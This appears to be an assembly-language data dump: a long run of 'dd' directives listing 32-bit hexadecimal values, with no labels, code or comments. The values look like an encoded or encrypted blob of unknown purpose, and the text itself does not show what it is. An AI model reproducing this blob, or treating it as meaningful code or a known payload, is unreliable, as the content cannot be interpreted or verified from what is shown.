		dd 56FCE87h, 0E7231843h, 760B9FB0h, 0E7FAAD91h,	855664A1h
		dd 38051117h, 4A72456Ch, 8A7B845Ch, 0D0BA79C9h,	0FFC87570h
		dd 100CB8B0h, 0DF4E15Ah, 38687714h, 629A6F84h, 0B1BAA4DCh
		dd 327C9C37h, 7DDB6AD6h, 7F894F1h, 51158538h, 6B51BBB9h
		dd 0F125F9D3h, 3BFA4A2Bh, 346783B0h, 9EFE8DA8h,	0F86737AFh
		dd 0B1B2D17Bh, 0BCFFDA7Bh, 0CA62CEB2h, 415DC4AAh, 0F45A2B18h
		dd 5263BC29h, 68389617h, 5090C04Bh, 6A01EEDEh, 0F3C7E6D5h
		dd 33A7BB51h, 98A926E2h, 39096953h, 0FCAC3511h,	3C290786h
		dd 0BE2E86ECh, 770A4D7Ah, 10863E80h, 0FF1ECF66h, 738F7714h
		dd 0D01FA80Ah, 18F263DCh, 3A14CC8Fh, 844D0EDh, 544ED17Ch
		dd 0D9042E92h, 0E5238B9h, 11A03F85h, 143F8656h,	64F28CB4h
		dd 0EFBAAA45h, 9C0F515Ah, 418243A0h, 35E60188h,	0E078F86Fh
		dd 47E9B902h, 23D37E19h, 0B458F60Ah, 2E05C983h,	0E3F3FAD7h
		dd 0CF2D7916h, 0F50BAB59h, 7626D655h, 923539AFh, 4D2312D2h
		dd 1BE9CE4Fh, 3514463h,	98A8E68Ch, 83FDB905h, 58087470h
		dd 925631Dh, 0C26DFECCh, 28122B84h, 0CBDCE7D8h,	3BE08948h
		dd 0E1A4952Ah, 7B335060h, 0BEFB0D28h, 1E1E2AC4h, 0F1A4B2A9h
		dd 36758157h, 0E6B601A7h, 0E3BAE4F2h, 86525E18h, 4153E13Ah
		dd 0C2668D2Eh, 0C9883363h, 0F16D61B6h, 0B0D5ECB3h, 0A7E29361h
		dd 0F53A8410h, 7045AC07h, 7280EE04h, 0FF0F73DFh, 0F024BAD4h
		dd 0AE0510D6h, 0FF3E0211h, 0FAC2929h, 96BD84E0h, 27C98F48h
		dd 0ACBCF06h, 0B9383FE7h, 0FF41221Bh, 25BE78D4h, 19DEC6Fh
		dd 0BE5BE155h, 0B3177A80h, 145C013Fh, 8FB9B76Ch, 0BC04F395h
		dd 2823376Ah, 0B71C570Dh, 99925156h, 0E7F28CB1h, 0D77A65E6h
		dd 5D6D5930h, 8171FBF0h, 0CA319FC1h, 8C0189E6h,	0BF858E09h
		dd 5BE818F1h, 9DB7999h,	0C6F0A23Ah, 0FF1216B7h,	0E6C9147Ah
		dd 717ED767h, 0C155FB57h, 0C25E5269h, 4D08532Fh, 4694C574h
		dd 0F1D79795h, 0D552C4C8h, 43B24B79h, 10A3B380h, 3D72576Ch
		dd 4B6DFA17h, 8120571Dh, 0F1747C55h, 0B444CC39h, 9BF4816Fh
		dd 6F1E1139h, 0B104E08Fh, 0BE85FC3Ah, 3CBB4A9Dh, 0FF853DD2h
		dd 0A17FDC4Ah, 96173D9Dh, 6E4515Ch, 7942FC71h, 0C8C61029h
		dd 10A8EA8h, 91B3ED1Ch,	0F08E7454h, 4C1DC121h, 923EC140h
		dd 56F9887h, 962D4095h,	20BD35Ch, 40472F97h, 2882492Ah
		dd 52080352h, 65AFAF6Fh, 8A50ECE3h, 134132C9h, 88BC301Fh
		dd 559080E0h, 416CE586h, 37C87714h, 21F39561h, 8AB7B4DCh
		dd 0D6F86D89h, 7A67852Ah, 0E94EBB7Ch, 0D30498D4h, 0B9550BAh
		dd 55C8FF5Dh, 3F6A41B1h, 640FB8A0h, 0A872AE4Dh,	85E45146h
		dd 4FF6A2E4h, 9834613h,	0C97B55C2h, 0D698B283h,	0FA3BD557h
		dd 15E2869Ah, 0DB360449h, 31E6A8F3h, 66375D8Bh,	70CCAD4Ch
		dd 94449E11h, 66DC7DA1h, 5E1829A0h, 7AAE7DEFh, 17650FEEh
		dd 0C82B00EDh, 8AEF79Fh, 165C5F0Ah, 0FE11DD17h,	81DA7714h
		dd 8A01586Bh, 0D84B291Fh, 0A8418Fh, 12A4952Ah, 7CAB5829h
		dd 0F757FA3Bh, 0BC8B3EEh, 0F6D5E4D8h, 0A4938166h, 82F28CB4h
		dd 32996ED7h, 0C8251C7h, 664E0AFCh, 35E649A0h, 0C99AC857h
		dd 6F1EB283h, 0BA9BDA90h, 0F90716Fh, 3DF04A08h,	8C27DF0Ah
		dd 25486155h, 5A485A14h, 39E62D1Ch, 1CC0169h, 848601Ah
		dd 86E686E1h, 0C9DF98A3h, 0F86E7BE1h, 0F7A87572h, 5C28C6CDh
		dd 0FEF96351h, 0DC887714h, 0DEDA23C5h, 8AC09C5Ch, 0DC510B86h
		dd 1CA49530h, 0BEC5C297h, 0C83C72DBh, 6845ADB6h, 52E83EBCh
		dd 5F357B7h, 9CB70742h,	0E9BADA53h, 0E31C144Bh,	4EA1F732h
		dd 40009E19h, 0C861227Dh, 93124D59h, 0B73A594Ch, 0C71D78ECh
		dd 1533C085h, 6362EBE5h, 66E572E1h, 0F56DF229h,	0BF455E9Ah
		dd 0C1428E25h, 0C088AAB2h, 69B1316Fh, 1508F63h,	516FFE8Ch
		dd 4F203CBCh, 0DE95C097h, 0C7B12AD3h, 0B4A0033Fh, 0A6DFA09Fh
		dd 0CC722FF4h, 26A3C3DFh, 16E11E7Ah, 0ED44392Ch, 5587F2D7h
		dd 0FFD6B1B5h, 31A444DFh, 0E829632Ah, 1B0D6522h, 0FC3F5C06h
		dd 9199D25Fh, 0EACC89BDh, 0CAE91AFEh, 9B828C8h,	8F66BF48h
		dd 37901049h, 0B3F56F44h, 726B44BFh, 0E9E6DBD9h, 0DA48CE4Bh
		dd 760BE37Bh, 9712C391h, 4241D92Ah, 38F3F9F3h, 83ACFC7Ch
		dd 0FD4C8418h, 0C22F1ACEh, 6E7730F9h, 55B52454h, 0FE71AB86h
		dd 0CFD8629Dh, 8694B8E2h, 0D43EA0F8h, 22E3800Ah, 0E72D563Ah
		dd 70AB5829h, 0CF57FA3Bh, 0C3C8B3EEh, 5FD5E4D9h, 4992473Dh
		dd 3D0D7340h, 17072898h, 42E45142h, 0B9C708FAh,	15EB9D12h
		dd 427534B4h, 38C93657h, 0F3568EBDh, 0A44D7418h, 0D24C3104h
		dd 78AF07DEh, 9E888A12h, 8A4E14A3h, 0B0522310h,	3E41F92Bh
		dd 0D00D4385h, 0F057BFA4h, 72180FB9h, 2F558022h, 2B830FAh
		dd 0B17585F1h, 0F722ADF1h, 74A340FFh, 82AF81F2h, 0C5742F8Ah
		dd 388624DFh, 0DE27952Ah, 6A895870h, 0A188D28h,	981C30FAh
		dd 79E3B44Ch, 0B6202DEh, 0A77B84F9h, 1C7E0B6Eh,	4D675343h
		dd 0B8EA1F7Eh, 2573A6F0h, 8A02B555h, 0DAAE3A4Bh, 33D069FBh
		dd 0C7180F20h, 2E58C733h, 6363F70Ch, 26C506E1h,	582F628h
		dd 39ADC589h, 8270A959h, 0B151B70Dh, 866B9880h,	0ADE2091Fh
		dd 0D835F2C9h, 0F471B9ACh, 0CEEB019h, 0AC497B1Dh, 371668FCh
		dd 2CA2F1E2h, 0B5485B23h, 21EF4FB9h, 1F27905Eh,	8154A47Eh
		dd 97021AD6h, 22CC38B9h, 53CAC319h, 4067BABFh, 3179D5BBh
		dd 633D54A2h, 680C025Eh, 0E0C7F49Eh, 9515625Ah,	4C9971D3h
		dd 0FBE9C7B3h, 0CCDB750Bh, 4CE1EAF9h, 7E7541D0h, 573F96Fh
		dd 0BE4C5816h, 1D141BDFh, 6A271A51h, 0C94443EBh, 3F023C46h
		dd 4B6D556Dh, 0F5F80E2h, 8E3B863Fh, 88640B11h, 9226ED0Ah
		dd 0CE73CD69h, 0BDB329D4h
		dd 5E1CF50Eh, 0C237A463h, 6A8418Fh, 0E6A4952Ah,	0BBC5872Fh
		dd 6C3FFEF3h, 0AB9430B2h, 6929242Fh, 6B65A1D3h,	3E7BA87Bh
		dd 9CFA9798h, 82ECC459h, 0FD31E484h, 40019904h,	3CDB9907h
		dd 0CA2A4C9Ch, 33D39ED4h, 0A7E2B22Fh, 5C5B9A59h, 5C6F8899h
		dd 99DFF545h, 0FF55FCA3h, 71465D57h, 1B425934h,	635499DBh
		dd 28D748AFh, 0ADE409E0h, 0D839F2C9h, 73A87472h, 447B5CA5h
		dd 3C382696h, 34EF0B99h, 0D73BE469h, 0CA93E057h, 27FF0E07h
		dd 95A4ACAAh, 208EE07Fh, 0C15CA96h, 485DB149h, 918743D1h
		dd 439FC805h, 0EFA18857h, 54746504h, 95A76A56h,	79F6F3F1h
		dd 350044EBh, 0CA3E7E1Fh, 0CA7DB136h, 312B1C3Dh, 0FB125A18h
		dd 0D1F643C3h, 5EF8A2Eh, 0B6501616h, 3E0DEBDFh,	0B0EE1EB4h
		dd 40427C2Ah, 6D812952h, 69684C90h, 33F5469h, 27F371CAh
		dd 7788AD10h, 5922BBF5h, 0FFF126B3h, 54A84A14h,	0CB2AA8E2h
		dd 0F83BE757h, 3F63DCCCh, 1FDA7D79h, 5A172E83h,	0E2018617h
		dd 0ED7EC772h, 0F1A3C83Ah, 0D72345Ch, 0A7C9C4F8h, 0FCFD1950h
		dd 87E4391Dh, 0E02FF489h, 6CFF628Ch, 4C81328Eh,	47F7C6C3h
		dd 705AD75Eh, 445EFE24h, 0A6A388C9h, 8C2F84C4h,	6F2D1955h
		dd 9DF3ECB9h, 0BB2D88B7h, 4A01926Ah, 0B31DAADBh, 0FAFCD2Fh
		dd 35A84E2h, 9BB6FE8Ah,	5BC7B9F1h, 0D395F77Eh, 1E6916D5h
		dd 0BF7788F0h, 9F16A0A1h, 0CFF42FC8h, 4A0C8F06h, 8CA49EABh
		dd 5215114Dh, 0E0C7AF3Bh, 4C29B545h, 0D1A03F5Ch, 6436CA03h
		dd 40B607A8h, 9C3CE554h, 6EEC751Ch, 0CCDDCC81h,	0DED0147Eh
		dd 4CC03307h, 0FB1FC6FAh, 0BE10C4BDh, 4C1D7453h, 0A0F59C0h
		dd 56F8E87h, 907FF945h,	63F3E4A3h, 0A0AE03A9h, 42B41D89h
		dd 0C7F29442h, 0BD0BA93h, 0B1B044D1h, 45D7BAA3h, 2E7FCF08h
		dd 9A00777Ch, 5EE237E2h, 24688130h, 20CA57B2h, 4127A420h
		dd 1C10B94Fh, 0BDBC7EEAh, 0D74E9A94h, 44FBABD7h, 6B95C586h
		dd 7A233CD5h, 1C2BE54h,	0BFF28CB8h, 3043E098h, 85E45149h
		dd 46316F65h, 113D1C89h, 36997001h, 0BE1252DCh,	0C5F7C24Eh
		dd 0B34D5CACh, 2D4EA555h, 2162D397h, 99D5EDE0h,	51702E9Fh
		dd 971D4391h, 425CD92Ah, 1C6DE201h, 0B6874C64h,	8A3484A8h
		dd 513632F8h, 2896C32Eh, 19CA647Ch, 0F857BEA2h,	220BB004h
		dd 0D81FA8E3h, 0B33A6787h, 3DA8418Fh, 0C8A4952Ah, 6B1872Fh
		dd 0C9040E47h, 6F34FE33h, 41B03FA9h, 3D3E54ADh,	0A77B9CBCh
		dd 2B8AADD6h, 580C18D0h, 0E038149Fh, 0F5855D3Bh, 68DA550Bh
		dd 0DAED58F7h, 0CFC69FEDh, 0C90D4F90h, 7EA69200h, 0FA90DD6Fh
		dd 733AB0E9h, 660C5660h, 0FB22DD18h, 4AB7062Eh,	91D92838h
		dd 565C456Ch, 36207BB6h, 5173F235h, 0B4636E21h,	5A750B78h
		dd 475C2696h, 32287714h, 0FC0323B1h, 0E90A25D4h, 0E404CC79h
		dd 0BE5B6AD5h, 7A955407h, 372053D9h, 0A4C528BAh, 715D7B4Ah
		dd 5B9C842h, 6FA5F867h,	0FFAF4D11h, 7A1BB09Bh, 9D846028h
		dd 0D51676FEh, 42D08C98h, 22BD8680h, 0CC2C8091h, 605EC475h
		dd 0CDB10F10h, 8E36AB78h, 8E95D555h, 89F36CA4h,	84E225C8h
		dd 42AA0117h, 0B33A9D42h, 0E70CF12Fh, 75C95B04h, 0E4267990h
		dd 0A8EED8A9h, 9244B0Ah, 71EF57Eh, 32622EEBh, 0D9698C43h
		dd 0D848F4CCh, 8143073h, 2B2D5671h, 0F6A95F7h, 81110D87h
		dd 0E8853847h, 518743D2h, 0CB2D1701h, 0DAE2A8E1h, 7FF9B7Ah
		dd 9BDD144Fh, 0B8ADD606h, 6504D821h, 0C9957087h, 0C2292DF3h
		dd 0CC52A774h, 0B3E2B113h, 0D236E4B4h, 2F8454F2h, 12C41E95h
		dd 0FD0CD149h, 58F1BAD7h, 425CA2CAh, 0B3386DD1h, 0F00F412Ah
		dd 42B4DD37h, 5B711936h, 89B1383Fh, 4A65428Dh, 0BC7A92E4h
		dd 0CCB86330h, 0D922E4F7h, 9569FBCCh, 3EA8414Ch, 0D6A4952Ah
		dd 648D114h, 0E1110DC7h, 0F8853847h, 0B18743D2h, 839FC806h
		dd 69A18451h, 0E8AF9508h, 851900B0h, 41826065h,	0BEFCCB2Dh
		dd 0C88F735Ah, 0CEF025F3h, 1AC361DBh, 0C5C75764h, 783A1905h
		dd 0FD2AD37Bh, 3439A89Dh, 1E0CA90Ch, 0B0A1A981h, 424116C2h
		dd 0D4B93252h, 70D20631h, 0AD8C09E0h, 0D869F2C9h, 0F4C9B9ACh
		dd 0C3ED019h, 0FC614EC1h, 3E207714h, 80E0570Dh,	0E326755h
		dd 77EC4FAh, 2F5A6AC2h,	1EC78883h, 0A905F5DFh, 39D3D7Dh
		dd 91802F5Eh, 0D8914153h, 64F6CF7Bh, 0E8006E8Ah, 0C622AF59h
		dd 0FA00E172h, 35009EAAh, 0ED4AF05Fh, 0CBEAA632h, 3753642Dh
		dd 8F24496Ch, 683E38B2h, 10900A2Fh, 76C50442h, 0AC71483Ah
		dd 0B3259191h, 0C15D792Bh, 3730F52Fh, 0F5EBCE8h, 56740FE0h
		dd 9DE2F242h, 0AB6DBB09h, 0D3517476h, 0BC9ADAD3h, 0CFFDFCE4h
		dd 8CD66AE3h, 0C7379924h, 6ACC8Fh, 0D254D0EDh, 0C14ED174h
		dd 0A104F2D6h, 9BFD6C51h, 19A03F5Bh, 7F85AF3Fh,	613105E4h
		dd 0B6F5188Ch, 95E558AFh, 5237AEF0h, 801C17DAh,	0D988744Fh
		dd 0C2E5AB00h, 0D8F3711Ch, 485E8F34h, 0D2B02440h, 0C390A378h
		dd 0A1CFF055h, 760CDB1Fh, 73236E91h, 0F759920Eh, 2832EE5Ah
		dd 0F5A4569h, 0F8F1BDE0h, 9DE6B411h, 7F210909h,	264DB5FDh
		dd 12FE1737h, 0CBCDFC74h, 25A2A869h, 0BB485B23h, 0F84147C8h
		dd 2BB62325h, 7B4ED0BEh, 5E3D86D7h, 0EB953078h,	81AB4A5Eh
		dd 0BD2254ACh, 0A4779CA2h, 0EF764B38h, 0EEFBB023h, 434ECFBBh
		dd 0BE05645Bh, 0CE81E65Bh, 0D660BEB2h, 0CB96EA7Fh, 4F944867h
		dd 0A74FA94Bh, 12CD687h, 9A800E51h, 0F5F49ED7h,	0F5297A51h
		dd 0B22002D2h, 0C702322Eh, 847D8207h, 8B348CF5h, 0DA737FD9h
		dd 88DF0B78h, 0DF4A4B0Ah, 0F931263Ch, 0B26C34D2h, 0D3AA5767h
		dd 2693E11Bh, 0EEEB3370h, 0DF5B163Bh, 0F49E4573h, 6501F337h
		dd 726AC745h, 742B9B1Bh, 158511F7h, 0F4F270DEh,	2A0B28C6h
		dd 7A1BAF5Eh, 0FC4C8509h, 20FFCE62h, 0D9898E6Fh, 4F01EB2Ah
		dd 0CC8E159Dh, 4CE014B9h, 0B1F66450h, 0F8335578h, 64AF9D16h
		dd 7666E236h, 0E2001B1Ch, 0B618527Ah, 0A476E202h, 6F4C3A3Ch
		dd 0F2C841Dh, 53778609h, 329590BCh, 0AE083F01h,	0BCAA251Fh
		dd 33B752F8h, 229CA8E2h, 50B1D1DEh, 0E954C8C4h,	34E11E37h
		dd 734E2E59h, 9AFC71D7h, 801528CFh, 1B4B375Ah, 807E0AD3h
		dd 2F728849h, 94B8ED4Bh, 9EB535Dh, 4638144Fh, 34089633h
		dd 0DC76232Fh, 0DAED5237h, 0BA8838E2h, 0C5DE1680h, 0A0F633Fh
		dd 56F4287h, 0BDF4DF45h, 7E91D7DFh, 0B0B05F96h,	76D6BC5Eh
		dd 393421CFh, 8C4BAE7Ch, 0FE3D8C9Eh, 0D4357FC3h, 470DCFA9h
		dd 0D8A5B408h, 0FDDA0250h, 322F7F89h, 0DEDFADF2h, 170EA4DCh
		dd 79F11FDh, 0DBA39DB7h, 56A6816Ch, 0D8FB0D0Bh,	0D3083C7Dh
		dd 71B03E59h, 0C37A4153h, 98B27721h, 0D4A433E5h, 85C32C2Eh
		dd 3A226214h, 62539262h, 42993EACh, 0C82AB716h,	33D3669Dh
		dd 8B091EA7h, 2DB3EE42h, 0D32CF87h, 66C9F895h, 3387F828h
		dd 0B4F0A39Dh, 0CB51CCA3h, 1A09695Ah, 1FB3F319h, 8D4A4D65h
		dd 52343A40h, 0FC04B8EAh, 5B42ACB0h, 7999AFD5h,	367C552Ch
		dd 0AE9F9362h, 0A57E213Fh, 41DC4589h, 2FA495ECh, 6BB1C939h
		dd 0FC26C957h, 937E7B81h, 56D4F6DBh, 0CA3B89DAh, 0EFE204B0h
		dd 1700750Bh, 0FA78825h, 4E826343h, 9F7DB00h, 4D81070Fh
		dd 0F6E9DBB3h, 0B30A13F4h, 391DBD91h, 2558A3C3h, 11B8F02h
		dd 663AC0D0h, 76F4BE9Bh, 30A03E91h, 4F29B911h, 0B271A8B9h
		dd 7B7B796Fh, 0FE36B819h, 0D84C723Ch, 77D0B4F6h, 2626B4F5h
		dd 0F205269Ah, 0BDE4329Fh
		dd 8E56ACB2h, 593F2DD0h, 1EBD8CAh, 0A758D0EDh, 564ED17Ch
		dd 32061928h, 0E7AEB8FCh, 8A20C62Ah, 0F73C358Eh, 0E4F28B64h
		dd 94D41449h, 0F1E4B0D0h, 0B8BC1B57h, 76038BA4h, 8C4FA3FCh
		dd 0CAED2F9Fh, 0F4D78DDDh, 4C1BB6E9h, 0ED8EE940h, 59F3504h
		dd 0EF050919h, 99FCFB19h, 78E5017Ah, 8A575F5Eh,	6732AF13h
		dd 0EE4380E7h, 0C1C00DE0h, 3A0C324Ch, 0C7883373h, 62EBA81h
		dd 3314266Eh, 0B4BC5729h, 0D96AA1DEh, 0AF34B828h, 1E60CC71h
		dd 0A7D05CABh, 0E90F19FDh, 0F2147AF4h, 8B6A209Eh, 6ECAD7DDh
		dd 9FFB8D3h, 0AC7B8ED7h, 17FFA308h, 7AFC0525h, 46E26247h
		dd 4883217Dh, 0C6FCF313h, 47E2EA98h, 6658636Dh,	4C198260h
		dd 0A6BBEAC0h, 5805EC2h, 8A6CC249h, 840C801h, 969C9391h
		dd 415E792Ah, 0BBD7A007h, 135B4980h, 7D6FD7E0h,	0A88702DCh
		dd 97CEB9E9h, 81E0B4CBh, 799022FFh, 0C42DFA15h,	8BA05723h
		dd 0C6C8A4A8h, 1F14300Fh, 5C5020AFh, 1AC32EB3h,	2489A20Fh
		dd 9BFF6807h, 19F63EB4h, 7F85B8A0h, 6FE64220h, 4274850Dh
		dd 7E0B557h, 539D5319h,	0BC58C101h, 0BC53B6C4h,	22EF450Bh
		dd 0CC299D51h, 0B452C875h, 0D1E26610h, 0F932C7D7h, 3676919Bh
		dd 0A205450Fh, 321F116Ch, 4550DEEh, 5D96A1AEh, 9C4AC59Ah
		dd 86CCF8FDh, 2926ACD9h, 0AAC76D15h, 0BB9DB44Ah, 9E3DAB97h
		dd 0B0887715h, 477A2188h, 85E4AC2Dh, 640133DEh,	25B495DBh
		dd 9BCB2901h, 21A5FAF2h, 0E28539ECh, 9467C15Bh,	407A45D0h
		dd 9CAF0FA0h, 0CD7664A3h, 0C51BF82Bh, 0B9C597CBh, 458CE78Fh
		dd 0F4B3F30Eh, 0BFEEAC47h, 0B3246681h, 0AE6044D7h, 6D5FB14Bh
		dd 0ECF1A6D7h, 0EE5C6EE9h, 8109B89Bh, 8C23EE91h, 505ECFAEh
		dd 4E3DDC52h, 0EEF3AD6Dh, 71627B1Fh, 92940A94h,	0FF83EA70h
		dd 0E705F40Ah, 0C42695h, 0B0690798h, 0D0AB95E7h, 0EBE5D49h
		dd 87C5E5D6h, 0BFA01D18h, 228E551Eh, 0A605AA61h, 4015CA3Ah
		dd 0F7714C5Eh, 48DB44ABh, 0DFE28257h, 1D8B890Eh, 0D51C6D22h
		dd 44AA4EB2h, 6B5E6EF6h, 94673BACh, 0CA90A4E0h,	5931E208h
		dd 0AB373453h, 15C79540h, 615710F3h, 671458E9h,	0FEC9A35Ch
		dd 0B263CEB4h, 48345A2Ah, 0AE6E3F01h, 1B272D09h, 1FA4708h
		dd 0F266AB36h, 0C6BC3005h, 5A185FF4h, 2AA1DE1Bh, 7492797h
		dd 0C0E724C9h, 59A35BD7h, 6A143BC9h, 7028A89Dh,	0E11EC154h
		dd 78161944h, 5B95C1CBh, 0E9309BD9h, 0D4855B2Eh, 6405CC21h
		dd 87C2F653h, 85F42062h, 0F445AE5Ah, 37E9A0CEh,	228BF57Fh
		dd 22EAC0DAh, 0CC2A8651h, 99A9C35h, 0EC43D6C8h,	5CA0ED7Fh
		dd 0EC7F3749h, 0FE295B11h, 0B223DE9Ch, 62B4702Ah, 0B6A9B991h
		dd 8BDCD5FCh, 62851470h, 1F336259h, 555DB9ACh, 4D26A818h
		dd 728CADC0h, 0F8A44A99h, 0B55FB8DFh, 0B536CED8h, 7B14EC83h
		dd 8A5205B3h, 8F24813Ch, 3C74E749h, 0D736297Bh,	0F4B03827h
		dd 0EA193E6Eh, 0B713B8h, 0E173A812h, 7AB4089Bh,	0B93B0F24h
		dd 41C13A3Eh, 3DF6B42Ah, 0CAE83AC3h, 765166E8h,	0C01AD4DCh
		dd 0A08787B6h, 3BC16BBh, 91B8589Dh, 89E4A35Ch, 39FDAA1Ch
		dd 3F2E093Fh, 0AD356242h, 1C5CC59Ah, 84C6BD2Ah,	6C65C3CDh
		dd 8EB05AECh, 3B7DA4F4h, 0AF3E70C4h, 9E088A6Ah,	0C3EB685Ah
		dd 83E8544Ch, 25F845DAh, 94DB18D5h, 8AB5871h, 4257EBAAh
		dd 9C9A2ADEh, 14283D51h, 4C3FC2D3h, 0EF0AD92Ch,	17741907h
		dd 7BA199E2h, 40E656B0h, 3A018F2Ah, 0C98A3BEAh,	0C69429F3h
		dd 0B8C01DFDh, 41864AA9h, 3D9367F0h, 0E19B0B0Ch, 6FCD7116h
		dd 4609E3D5h, 0B02F5751h, 43DBB92Ah, 3E4DA942h,	105B10E7h
		dd 63E9C157h, 8BF279CBh, 0BF586F6h, 5D273D92h, 50ED82Fh
		dd 0D809EE5h, 0BC5FA8DEh, 9F41A439h, 76EC8934h,	568195BCh
		dd 0BA4ED13Ch, 0B104F3D6h, 4A7D2DCFh, 765FC4B8h, 7A62AFh
		dd 1B3A19A5h, 17FD3C94h, 0C0530785h, 0BF26DACBh, 3AF9AAADh
		dd 2B09A7E1h, 0AC3923DCh, 0B3262D54h, 0A70AA3C1h, 0D5DA0A31h
		dd 73271871h, 9F11F61Ah, 112D7553h, 589DCB18h, 0C69CD277h
		dd 638DF5Dh, 0E14FC58Ch, 0EE1044DCh, 1CBA87C9h,	30A3C8BCh
		dd 648D37F4h, 0C4A4AFF1h, 8E3532DDh, 84949035h,	0DE01AB33h
		dd 66143C98h, 9044A80Eh, 903BD134h, 0B6FCB6EDh,	0EB163E6Dh
		dd 0D4295C9Eh, 3D3F89D1h, 8CE173A7h, 0E800ED99h, 85CE0041h
		dd 71450B37h, 34B136DDh, 0B40AF55Fh, 8A9FAA6Eh,	33D114BEh
		dd 19825318h, 6810E4C8h, 4367C79h, 1702C9Dh, 74CB899Bh
		dd 0CEA0F891h, 342C79D4h, 22CC6C95h, 84E456Ch, 1A540FEEh
		dd 97EE7B89h, 0BFA4657Dh, 6F103D24h, 92E5631Bh,	0FA87671h
		dd 3EA7ED26h, 0CDEB487h, 0A0EB3345h, 92A46147h,	82CDD10Ch
		dd 8771F37Ah, 90817B70h, 0F1470ADCh, 0B467C5BFh, 6DE29642h
		dd 13A79074h, 851ED826h, 0B9713429h, 350D3F3Bh,	0C8A6DC47h
		dd 0B7692A83h, 2DAB690Dh, 43130CA7h, 0A479C6F7h, 12E29785h
		dd 9A31C319h, 72AF5A3Ah, 4C1D9029h, 3CD1F0D5h, 68B1E952h
		dd 965EF991h, 26A48BD4h, 4728F642h, 2FB4300Fh, 7BD858B1h
		dd 0FE8A02E4h, 0CA0137EFh, 0CD6F952Dh, 0C9CAA4C9h, 6BEC8932h
		dd 0C92F95B0h, 0FFC5B7E8h, 0EC8D9544h, 2B1059E9h, 3C482665h
		dd 8785B2C8h, 64F2BEAAh, 0E8379E7Ch, 85E74969h,	0FC71243Bh
		dd 0B4C096E8h, 0C98575ADh, 0C2116BB3h, 9A223CF5h, 4C05D8ECh
		dd 9A8C9FB4h, 6AAE0C2h,	687B8EE9h, 7D7F8EEAh, 0F62B1841h
		dd 79AE5FD4h, 582BA9A0h, 0A2FE4A76h, 1BD10D1Fh,	876EFA2Bh
		dd 0B65F15FEh, 194CB4F4h, 9DE1AFF6h, 69963292h,	0C22DED2Fh
		dd 0AB22D088h, 5D9434F2h, 61A9E17Ah, 0BAB12959h, 65413406h
		dd 0FB953F3Bh, 0C3E5C236h, 84756CAFh, 1B0D6DBCh, 17F76CFCh
		dd 0D06CE2F5h, 0FC4DBD35h, 378B19E8h, 0C699E0BCh, 43156F14h
		dd 2789E25Fh, 0B146EEA3h, 2BCD0426h, 0F8FA83E1h, 0A09D7816h
		dd 74AD0B19h, 0B7894E91h, 0B7219CA1h, 0FF126507h, 62A180E5h
		dd 57476CA4h, 0E772AF25h, 0C579B9A3h, 0F41E8C18h, 0B2316326h
		dd 77CB8B5Dh, 4113D499h, 36C8E337h, 5A91E84Ah, 1BB49596h
		dd 0FC6B2D69h, 99023AA2h, 0CD4CD65Bh, 542B3490h, 9882D0D3h
		dd 66DB14A5h, 9BF0157Fh, 85E7E645h, 3A3A8EB4h, 0B90D3EEAh
		dd 0C98DF384h, 0C59C53D0h, 33DBDC32h, 0C925A46Ch, 3D8B6914h
		dd 8697470Ch, 13C8336Eh, 7C086078h, 31360E1Ah, 73D0F860h
		dd 227EA246h, 2ACB4DE7h, 59150DE5h, 638E68Ch, 4694B80Ah
		dd 18B31D1Dh, 7714AD90h, 0CDAB6793h, 494F21DFh,	0A851588Ch
		dd 0EA7236F6h, 5DC26337h, 0EF4E28A9h, 20CA8BDh,	566A0F31h
		dd 0FAF0BA95h, 682A6AEAh, 0E4F35F52h, 92F72DFDh, 0EA6A5743h
		dd 3AC1FB07h, 5CE540C6h, 42913521h, 0B25C2306h,	2C4702A7h
		dd 0C7530EA7h, 29F60C4Ah, 579C0E0Eh, 11658CEAh,	6D963296h
		dd 31126318h, 47326D77h, 9932BCD9h, 0B839FF16h,	1A4B0FF9h
		dd 636F842h, 0ED9EB9FEh, 713648AEh, 4B0CAF6Ah, 64FC2A95h
		dd 0CBCA2394h, 4B8DDE3Dh, 359FD524h, 0E7AE19BAh, 0E1C7DBA6h
		dd 2F8A74Dh, 0E61CD8D2h, 0A5FDC6E0h, 15F17BC4h,	0E7F9C7A7h
		dd 1D76E9BFh, 0C1B0107h, 780A62D2h, 788580F1h, 3DCCFCDFh
		dd 412DE6F8h, 7DBA9AA0h, 0B800D31Ch, 0A6C3C54Bh, 4BE6F2DAh
		dd 6C9988E6h, 0F9FDB6D6h, 0B02BCACCh, 0B95DE1A3h, 60BAA117h
		dd 0D33E2D56h, 8117C16Ah, 0DBEF79C1h, 795AB990h, 892C6648h
		dd 0B0ED1Bh, 85E0FE03h
		dd 8534AC8Ah, 0A23FE137h, 1476F737h, 6EE119B1h,	0BFC5DBF4h
		dd 7ECE76D2h, 6A1CF202h, 4A6184D9h, 8972E9B7h, 0C6184EF3h
		dd 9DF7A4F2h, 0F1DB72CDh, 0C3FD9F71h, 7087EB73h, 42983E1Fh
		dd 542F3Bh, 0CBF1A554h,	0C553D3B3h, 68B48D18h, 237838Fh
		dd 4A511D9Dh, 76521822h, 0AC11CE14h, 0B9D21CA1h, 51B77D02h
		dd 0C5034C6Dh, 0C80CC16Ah, 3C94E2CDh, 0EC9BBC8h, 40ED4391h
		dd 2E152690h, 7C03296h,	8992BC82h, 36FF2DA2h, 0A80088C6h
		dd 8B8F82AAh, 0EB0B5869h, 41440980h, 98E120DDh,	1AA80B1Bh
		dd 8AF77378h, 70BBC1AAh, 0D1EBA0F2h, 0EC7508Ah,	0E94A8342h
		dd 21415416h, 99193F1Eh, 8F68A403h, 75BA3F2Dh, 0E9B10564h
		dd 0AE3B8AD1h, 0C9960243h, 13E41912h, 0B4E0318h, 0A05772ABh
		dd 0BA562CA1h, 1EFBAA58h, 82C14FE5h, 33C80D1Dh,	47F67B12h
		dd 0FD646D7Fh, 90C03F86h, 0AAB5C13h, 59236F68h,	405523C1h
		dd 29BEAC63h, 0E4E894C0h, 2F2D6AEBh, 33135AA7h,	348FBA1Dh
		dd 0A1EFA0F4h, 7AB83BBAh, 8AF16AFDh, 6DFB8728h,	0EBA67272h
		dd 0C1F7104h, 0E4485344h, 0BE1AD492h, 0C31B3952h, 43DAEA80h
		dd 0CC67E417h, 976684A5h, 0A4CFC6C9h, 4BFCE0DAh, 74A99EFEh
		dd 0FA065ED4h, 0F46902CCh, 0DD8792C2h, 8CD5A4DBh, 98C12931h
		dd 0EA470F09h, 0FF34FA40h, 2EC1BBF2h, 0D0A7CC77h, 0FE0A3DE6h
		dd 780FC15h, 616AC95h, 0AA6513AEh, 0ADDF4498h, 642D8D5Dh
